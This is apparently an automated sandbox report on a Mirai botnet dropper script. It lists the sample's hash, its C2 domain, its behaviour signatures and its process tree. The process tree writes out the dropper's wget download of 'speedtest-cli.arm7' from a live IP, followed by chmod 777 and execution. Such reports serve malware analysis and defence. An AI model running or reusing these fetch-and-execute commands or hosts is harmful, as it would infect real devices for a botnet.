Analysis
- max time kernel
149s - max time network
175s - platform
debian-9_armhf - resource
debian9-armhf-20240611-en - resource tags
- submitted
11/11/2024, 10:38
General
- Target 35d40279752f0fe5f426f9d20ca416051361ab39c06bff480c0341816e115815.sh
- Size 1KB
- Sample241111-mps26a1qdm
- SHA256 35d40279752f0fe5f426f9d20ca416051361ab39c06bff480c0341816e115815
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
omg.rekugg.pro
Signatures
- Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- Mirai family
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Traces itself 1 IoCs
Traces itself to prevent debugging attempts
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Changes its process name 1 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Writes file to tmp directory 10 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/35d40279752f0fe5f426f9d20ca416051361ab39c06bff480c0341816e115815.sh/tmp/35d40279752f0fe5f426f9d20ca416051361ab39c06bff480c0341816e115815.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget http://45.221.97.86:80/bins/speedtest-cli.arm7 -O speedtest-cli.arm72⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 speedtest-cli.arm72⤵
- File and Directory Permissions Modification
-
-
/tmp/speedtest-cli.arm7./speedtest-cli.arm72⤵
- Deletes itself
- Executes dropped EXE
- Traces itself
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
speedtest-cli.arm7